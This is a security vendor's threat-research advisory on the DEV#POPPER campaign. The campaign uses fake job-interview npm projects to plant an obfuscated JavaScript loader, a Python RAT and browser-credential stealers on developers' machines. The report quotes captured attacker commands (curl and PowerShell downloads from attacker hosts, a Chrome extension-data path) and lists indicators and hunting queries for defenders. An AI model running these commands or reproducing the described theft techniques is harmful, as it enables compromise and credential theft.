Securonix Threat Research Security Advisory

Research Update: Threat Actors Behind the DEV#POPPER Campaign Have Retooled and are Continuing to Target Software Developers via Social Engineering

By Securonix Threat Research: Den Iuzvyk, Tim Peck

Jul 31, 2024

tldr:

The threat actors behind the previously documented DEV#POPPER campaign are continuing to target developers by means of new malware and tactics, including support for Linux, Windows and macOS.

The Securonix Threat Research team has been monitoring the threat actors behind the ongoing investigation into the DEV#POPPER campaign, we have identified additional malware variants linked to the same North Korean threat actors using similar, stealthy malicious code execution tactics, though now with much more robust capabilities.

Based on the gathered telemetry, no specific trend in victimology was identified. However, analysis of the collected samples revealed victims are primarily scattered across South Korea, North America, Europe, and the Middle East, indicating that the impact of the attack is widespread.

As with the previous campaign, these new samples continue to leverage the previously documented lures targeting software developers. This form of attack is an advanced form of social engineering, designed to manipulate individuals into divulging confidential information or performing actions that they might normally not. As we mentioned in the previous DEV#POPPER advisory, the primary goal is to trick the user into unknowingly compromising themselves or current place of employment. Unlike traditional hacking methods which rely on attacker-controlled exploitation, victims of social engineering attacks are compromised by human vulnerabilities by often-times exploiting psychological manipulation. This tactic preys on basic human traits such as trust, fear or the desire to simply be helpful.

Today, we’ll go over the persistent and ever-evolving nature of this threat, highlighting the adversaries’ dedication to their craft by compromising industry professionals. We’ll dive into the newly discovered malware tactics, techniques, and procedures (TTPs), and provide updated mitigation strategies and methods to counter these kinds of sophisticated attacks.

While most of the attack flow remains much the same, the threat actors have expanded their victim pool by incorporating support for not only Windows, but Linux and macOS as well. We’ll discuss this in more detail further on throughout the advisory.

Lure file & initial code analysis

The attack is carried out in the same manner as we observed in our previous report on DEV#POPPER. The threat actors pose as interviewers for a developer position and present the interviewee with a ZIP file package (onlinestoreforhirog.zip in this case) as part of a practical portion of the interview.

When the interviewee extracts and executes the contents of the package using “npm install” and “npm start”, a well hidden line of JavaScript code gets executed which kicks off the infection chain.

The contents of the zip file contains dozens of legitimate files making identifying potential foul play difficult to spot if it’s missed by any installed antivirus. Not only that, but as you can see in the graphic below, the malicious code is hidden far off to the bottom right inside a seemingly innocent JavaScript file which is designed to handle server connections.

 

In addition to the malicious code being difficult to detect using human eyes, the malicious file also has a very low detection rate according to VirusTotal, scoring positive on only 3/64 vendors:

 

The hidden portion of the JavaScript code is heavily obfuscated and makes use of several obfuscation techniques to hide its true functionality. Some of these include:

• Base64 Encoding: Many strings are base64 encoded, which are then decoded at runtime. This makes it difficult to read the code directly.
• Dynamic function and variable names: Variables and function names are randomized and require the use of modules which exist behind the decoded strings obscuring functions and modules actually being called.
• Concatenation and split strings: Any plain-text strings found within the code are concatenated and split into small segments which are then pieced together at the time of compilation.
• Prototyping obfuscation: Modifying prototypes like Object.prototype.toString hinders analysis to uncover the strings real intent.

Below is a sample of a portion of the script and the obfuscation types used. As you can see, at first glance, it’s practically impossible to determine the intent of the code without any form of deobfuscation procedure.

 

After taking time to deobfuscate the script, we get a better understanding as to its capabilities. The first notable piece of information that we extracted was the C2 address buried beneath base64 andwas modified. The hidden IP and port combination is encoded and divided into four parts: ie: characters 0-9, 10-19, etc. Each part is then decoded from base64 and then concatenated in a specific order to form the final URL giving us: http://67.203.7[.]171:1244

 

Unfortunately, for the sake of simplicity we won’t go over the entire functionality of the code as it is overall quite complex. However, let’s walk through its functionality and capabilities at a high level.

Main function

The identified main function “M” orchestrates the data extraction and sending process and redirecting code execution to different operating systems (Windows, Linux, Darwin (Macos). It begins by identifying the platform, constructs paths and variables and then calls appropriate extraction functions based on the detected OS.

C2 Communications

The script contains several functions which prepares and sends data to a remote server by constructing a URL, preparing form data and then making an HTTP POST request to the IP and port combination we extracted earlier.

Another function prepares a form data object containing system information and other collected data, constructs the URL for the C2 server and then once again sends the data using the same method as the prior function. This information includes:

• The current time when the data is sent which helps the C2 server to log and analyze the timeline of the collected data.
• A specific unique system identifier indicating the type of data being sent, which may help in categorizing or processing the data on the server. Some identifiers relate to system information, files, logs, or other types of collected data.
• Another unique identifier for the infected host machine, which allows the server to track which data came from which machine.

• Hostname
• Platform (OS name)
• Timestamp
• The actual payload or collected data from the host machine, which could include sensitive information such as files, logs, or other captured data.

Payload downloads

Another function (“rt”) manages the downloading of next-stage payloads. It begins by building a URL string, using a carefully crafted curl command to download the file and performs an asynchronous task with the downloaded file. It ensures the process is repeated until the conditions are met, handling errors and retries as needed. These conditions work under the following flow:

1. Counter Check:

1. The function ensures that an established counter has not reached or exceeded the value of timestamp + 4. If it has, the function returns early and stops executing

2. File existence and size check:

1. The function checks if the temporary file path (tempPath) exists
2. If the file exists, it retrieves the file’s statistics
3. It then checks if the file’s size is greater than or equal to timestamp + 4

3. Successful Download:

1. If the file does not exist, it attempts to download the file using the curl command
2. If the download fails, the function resets the counter and retries the task once again

To sum it up, the file is downloaded using the following curl command:

 

curl -Lo “C:\path\to\temporary\directory\p.z” “hxxp://67.203.123[.]171:1244/pdown”

 

It is then renamed from ${tmpDir}\\p.z to ${tmpDir}\\p2.zip and then contains code to extract its contents using “tar -xzf p2.zip -C [user’s home dir]”

Python execution

The extracted contents from the downloaded zip file in the previous section contains a single file named .npl which is saved to C:\Users\username\.npl. Despite its name, it is not a “neutral parallel language” file but rather a Python script. The entire python library is also extracted from the .zip file into the user’s home directory under C:\Users\username\.pyp\.

The Python script is very similar to what we saw in the previous campaign and it is at this point where the originally documented campaign and this campaign  begin to become much more closely aligned. The purpose of the .npl Python script is to simply save and execute another embedded Python script called “pay” which is saved and extracted to C:\Users\username\.n2\pay.

Below is a sample of the newly discovered Python script.

 

Both “.npl” and “pay” contain obfuscated code which decodes using roughly the same mechanism. It’s first encoded using base64 and then further obfuscated using XOR with a key. Once the script is executed the script dynamically deobfuscates and executes the payload at runtime. Deobfuscating the script is quite simple however, as we can just replace the exec() functions with print() to get a better look at the code.

 

The resulting code is over 500 lines long and is designed to gather detailed system and network information, communicate with a remote C&C server, execute commands on the victim machine, upload and download files, and monitor user activity through keylogging and clipboard tracking. This combination of functionalities indicates a comprehensive and potentially harmful piece of malware. The script is nearly identical to the previous script which we analyzed back in April. At a high level, it contains the following functions:

• Collects detailed system information (OS type/version, system hostname, release version, OS version, username, unique ID)
• Retrieves geographic information (local IP, external IP, country, city, etc using hxxp://ip-api[.]com/json)
• Sends collected information to the attacker’s remote C&C server
• RAT functionality:

• Executes remote commands (file upload/download, command execution, directory listing)
• Implements keylogging and clipboard monitoring
• Uses FTP for file transfers
• Downloads and executes additional payloads

• Periodically attempts to reconnect to the C&C server if the connection is lost

New functionality

The recent samples contained additional functionality not seen in previous versions. We’ll walk through a few of the more notable features contained in these later versions.

Persistence using Anydesk RMM

The “ssh_any” and “down_any” functions handle downloading and executing the Anydesk binary client executable and report its execution status back to a server.

RMM (Remote Monitoring and Management) software is becoming increasingly popular with threat actors due to its ability to skirt Antivirus/AV detections, blend in with typical network noise, and to maintain persistence on the target host. Anydesk in particular has been used in many notable attack chains in the past.

Extended exfiltration through FTP functionality

The malware has the ability to recursively search and list files and directories within a directory specified by the attacker. It contains several hard coded lists which allow the attacker to either include or exclude certain predefined file types and/or directories.

 

Much like in the previously reported DEV#POPPER publication, FTP is still the primary method used for data exfiltration. The threat actors have since added much more robust capabilities into their code which allows for a bit more automation and enhanced stealth. Some of this additional functionality includes:

• ss_upd function: Uploads entire directories to the remote FTP server, filtering based on size and extensions.
• ss_upa function: Similar to ss_upd, but specifically targets all files in a given directory.
• ss_upf function: Handles uploading individual files to the FTP server.
• ss_ufind function: Uploads files matching a specific pattern from a directory to the FTP server.
• ss_ld function: This uses recursion to search for and upload sensitive environment files from directories to the FTP server.
• storbin function: Transfers files in binary mode and handles the encoding and obfuscation of data.

Enhanced obfuscation and encoding

The script includes several methods to enhance obfuscation and encoding, ensuring data is transmitted securely and remains hidden. From an analysis standpoint, the script’s Python code contains a bit more obfuscation than the previously analyzed sample which is designed to hinder analysis by either antivirus/EDR or simply through human means.

 

The example script in the figure above contains quite a few functions containing code which is intentionally difficult to to read. The functions ld, ld0, ld1 and ld2 are directory traversal functions which include filters to either exclude certain files and directories obfuscating the exact purpose of the script while making it harder to detect during a casual inspection.

…

While these are only a few examples of extended capabilities of the script, it contains other capabilities not seen in the prior sample. Some of these include targeted geo-location data gathering and much more targeted system information gathering.

Post exploitation

After the script was executed on the compromised host, we observed a few interesting actions performed by the attackers.

First, browser cookies were targeted. The attackers opened up a command prompt session through the Python backdoor script and changed directory to the default installation directory of Google Chrome:

cmd.exe /c “cd %APPDATA%\Local\Google\Chrome\User Data\default\Local Extension Settings”

The “Local Extension Settings” directory in Google Chrome is used to store data of any installed browser extensions. This directory holds various settings, preferences, and sometimes even log files associated with the extensions that are installed in the browser. Each extension has its own subdirectory within the folder named after the extension ID.

Next, the attackers downloaded a cloned version of a known browser cookie extraction script called browser_cookie3, written in Python. The library provides straightforward functions to access browser cookies without requiring deep knowledge of browser internals and supports multiple browsers while automating the process of cookie theft.

The attackers downloaded and executed the script through PowerShell, however they had a difficult time getting the script’s dependencies to work properly.

cmd.exe /c “powershell iwr -outf g.py hxxp://de.ztec[.]store:8000/www/run.py”

cmd.exe /c “python g.py /fc”

python.exe -m pip install lz4

python.exe -m pip install pycryptodomex

python.exe -m pip install py7zr

python.exe -m pip install requests

python.exe -m pip install psutil

Network communication and exfiltration

With the Python-based malware running in the background of the victim host, we observed the following network-based characteristics:

POST request to: 67.203.7[.]171:1244/keys

• 10 minute intervals

• Exfiltrate browser data
• Exfiltrate system information
• Set timestamp (heartbeat)

POST request to 67.203.7[.]171:1244/uploads

• 10 minute intervals

• send timestamp, hostname, victim ID (heartbeat)

GET requests: 67.203.7[.]171:1244/client/[REDACTED_CLIENTID]

• 10 minute intervals

• These would contain heavily obfuscated Python code similar to that in the “Lure and file analysis section”
• Download payloads and execute them

GET requests: 67.203.7[.]171:1244/payload/[REDACTED_CLIENTID]

• 10 minute intervals

• These would contain heavily obfuscated Python code similar to that in the “Lure and file analysis section”
• POST requests back to 67.203.7[.]171:1244/brow/$VICTIMID
• File listing capabilities
• Receive and execute system commands
• Log keystrokes

GET requests: 67.203.7[.]171:1244/brow/[REDACTED_CLIENTID]

• 10 minute intervals

• Call functions to steal passwords based on OS type (Windows/macOS/Linux). More on this in the next section

Sensitive data theft

As mentioned in the last section, the main Python script gets and executes a second Python script which is designed purely for the sake of gathering and exfiltrating sensitive information on the host. The script is downloaded and parsed from 67.203.7[.]171:1244/brow/[REDACTED_CLIENTID], and is heavily obfuscated, similar to that of the original python script.

This new script acts as an advanced piece of Python-based malware which is designed for stealing sensitive information from various web browsers across different operating systems. It relies on several classes which get called and executed depending on the operating system version.

 

In the figure below we can see the multiple operating system support switches in action. The “Mac” class in this case is designed to steal browser passwords from Chrome, Opera, and Brave. Each supported operating system contains its own class to redirect the code execution flow to support the current operating system.

 

Wrapping up

This sophisticated extension to the original DEV#POPPER campaign continues to leverage Python scripts to execute a multi-stage attack focused on exfiltrating sensitive information from victims, though now with much more robust capabilities. It appears that the threat actors behind the malware continue targeting software engineers through social engineering tactics, such as fake job interviews to gain initial access to their machines. Here’s a breakdown of the malware’s key capabilities and new additions:

Original capabilities

• Networking and Session Creation:

• The malware establishes a persistent TCP connection for continuous communication with the command-and-control server
• Data is encoded prior to sending/receiving

• Remote command execution:

• The ability to execute shell commands and scripts remotely, providing attackers with extensive control over the infected system

• Data Handling and transmission:

• Encodes and decodes data over established TCP connections making the malware difficult to detect by network-based security appliances
• Manages transmission errors and timeouts to maintain stable connections

• Exfiltration:

• Uploads stolen files to remote FTP servers and filters these files based on extensions and/or file size
• Automates data collection from user directories

• Clipboard and keystroke logging:

• Continual monitoring and exfiltration of clipboard contents and keystrokes which may assist the attackers in capturing sensitive information such as passwords or personal messages

New Capabilities

• Extended FTP functionality:

• Enhanced capability to handle file uploads to remote servers, including encrypted transmission

• Multi-operating system support

• Both the primary Python script as well as post-exploitation scripts support macOS and Linux operating systems in addition to Windows

• Enhanced obfuscation and encoding:

• The scripts make use of base64 encoding for obfuscating communication with the command-and-control server making detection more difficult
• Higher level of obfuscated Python code found throughout the script making analysis more difficult and less human readable

• File system interaction:

• The malware is able to traverse directories to locate specific files while excluding certain extensions and directories based on robust filtering
• It’s capable of locating and exfiltrating files that meet specified criteria including potentially sensitive documents

• Robust tooling for post-exploitation scripts:

• Deploys the browser_cookie3 script to extract stored credentials and session cookies from browsers like Chrome, Brave, Opera, Yandex, and MsEdge
• Post-exploitation scripts which steal browser-stored passwords and credit card information, significantly expanding the malware’s ability to harvest valuable data.

Securonix recommendations

Social engineering attacks start with exploiting human nature versus computer systems. While difficult, it’s critical to maintain a security-focused mindset in and out of the office and especially during intense and stressful situations like job interviews.

The attackers behind the current and previously documented DEV#POPPER campaigns abuse this, knowing that the person on the other end of the fake interview is in a highly distracted and much more vulnerable state.  When it comes to prevention and detection, the Securonix Threat Research team recommends:

• If you have to execute code from potentially untrusted sources, leverage virtual machines or Windows Sandbox, to isolate your machine from infection.
• Raise awareness to the fact that people are targets of social engineering attacks just as technology is exploitation. Remaining extra vigilant and security continuous, even during high-stress situations is critical to preventing the issue altogether.
• In case of code execution, monitor common malware staging directories, especially Python script-related activity in world-writable directories. In the case of this campaign the threat actors staged in subdirectories found in the user’s %APPDATA% directory.
• Monitor for the usage of non-default scripting languages such as Python on endpoints and servers which should normally not execute it. To assist in this, leverage additional process-level logging such as Sysmon and PowerShell logging for additional log detection coverage.
• Securonix customers can scan endpoints using the Securonix hunting queries below.

MITRE ATT&CK Matrix

Tactics	Techniques
Collection	T1560: Archive Collected Data
Command and Control	T1132: Data Encoding
Defense Evasion	T1027.010: Obfuscated Files or Information: Command Obfuscation T1070.004: Indicator Removal: File Deletion
Discovery	T1033: System Owner/User Discovery T1082: System Information Discovery
Execution	T1059.001: Command and Scripting Interpreter: PowerShell T1059.003: Command and Scripting Interpreter: Windows Command Shell T1059.006: Command and Scripting Interpreter: Python
Exfiltration	T1041: Exfiltration Over C2 Channel

Relevant provisional Securonix detections

• EDR-ALL-82-RU
• EDR-ALL-930-RU
• EDR-ALL-1123-RU
• EDR-ALL-1246-RU
• EDR-ALL-1262-RU
• NGF-ALL-833-ER
• WEL-ALL-1206-RU

Relevant hunting queries

(remove square brackets “[ ]” for IP addresses or URLs)

• index = activity AND rg_functionality = “Web Proxy” AND (destinationaddress = “67.203.7[.]171” OR destinationaddress = “77.37.37[.]81”)
• index = activity AND rg_functionality = “Next Generation Firewall” AND  (destinationaddress = “67.203.7[.]171” OR destinationhostname CONTAINS “de.ztec[.]store”)
• index = activity AND rg_functionality = “Endpoint Management Systems” AND (deviceaction = “Network connection detected” OR deviceaction = “Network connection detected (rule: NetworkConnect)”) AND (destinationport=”8000″ OR destinationport=”1244″)
• index = activity AND rg_functionality = “Endpoint Management Systems” AND (deviceaction = “Process Create” OR deviceaction = “Process Create (rule: ProcessCreate)” OR deviceaction = “ProcessRollup2” OR deviceaction = “Procstart” OR deviceaction = “Process” OR deviceaction = “Trace Executed Process”) AND sourceprocessname ENDS WITH “python.exe” AND (destinationprocessname ENDS WITH “cmd.exe” OR destinationprocessname ENDS WITH “powershell.exe”)[a]

C2 and infrastructure

C2 Address

67.203.7[.]171

77.37.37[.]81

hxxp://de.ztec[.]store:8000

Analyzed files/hashes

File Name	SHA256
onlinestoreforhirog.zip	6263b94884726751bf4de6f1a4dc309fb19f29b53cce0d5ec521a6c0f5119264
printfulRoute.js	BC4A082E2B999D18EF2D7DE1948B2BFD9758072F5945E08798F47827686621F2
.npl	0639d8eaad9df842d6f358831b0d4c654ec4d9ebec037ab5defa240060956925 63238b8d083553a8341bf6599d3d601fbf06708792642ad513b5e03d5e770e9b EFF2A9FCA46425063DCA080466427353DC52AC225D9DF7C1EF0EC8BA49109B71 2d10b48454537a8977affde99f6edcbb7cd6016d3683f9c28a4ec01b127f64d8 7e5828382c9ef9cd7a643bc329154a37fe046346fd2cf4698da2b91050c9fe12
pay	EFF2A9FCA46425063DCA080466427353DC52AC225D9DF7C1EF0EC8BA49109B71
run.py	B31F5BDE1BDBC2DFD453B91BAB2E9BE0BECEC555EE6EDD70744C77F2AD15D18C

References

1. Analysis of DEV#POPPER: New Attack Campaign Targeting Software Developers Likely Associated With North Korean Threat Actors
   https://www.securonix.com/blog/analysis-of-devpopper-new-attack-campaign-targeting-software-developers-likely-associated-with-north-korean-threat-actors/
2. Detection of Real-world Attacks Involving RMM Behaviors Using Securonix
   https://www.securonix.com/blog/securonix-threat-research-knowledge-sharing-series-detecting-rmm-behaviors/